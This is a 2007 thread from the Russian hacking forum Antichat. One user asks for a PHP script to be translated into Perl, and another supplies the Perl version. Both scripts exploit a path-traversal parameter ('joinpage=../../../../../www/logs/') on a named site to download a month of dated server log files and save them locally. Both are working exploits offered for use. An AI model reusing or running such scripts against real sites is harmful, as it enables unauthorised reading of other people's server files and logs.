Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   php 2 perl [need help] (https://forum.antichat.xyz/showthread.php?t=32487)

guest3297 01.02.2007 03:03

php 2 perl [need help]
 
так как перл я вообще не знаю помогите итерпритировать исходник под perl.
PHP код:

<?
$url 
"https://sie.com/index.php?s=test&pg=222&joinpage=../../../../../www/logs/";
$folder "files";

set_time_limit(0);
for (
$date=20050101;$date<20050131;$date++){
$file = @file_get_contents($url."ts_cascade_log.".$date);
if (
strlen($file)>1){
$file_write fopen($folder."/ts_cascade_log.".$date"w");
fwrite($file_write$file);
fclose($file_write);
echo 
"log.$date finish!/n/n, ";
flush();
}

}
?>

Спасибо.

Digimortal 01.02.2007 04:04

примерно так:
Код:

#!/usr/bin/perl -w

use LWP::Simple;

my $url='https://sie.com/index.php?s=test&pg=222&joinpage=../../../../../www/logs/';

for (20050101..20050131) {
        my $cont=get $url."ts_cascade_log.".$_;
        if ($cont){
        open my $file, ">ts_cascade_log.$_";
        print $file $cont ;
        close $file;
print "ts_cascade_log.$_ finished\n";}}

понадобится модуль Crypt::SSLeay, чтоб работало при ssl..


Время: 14:14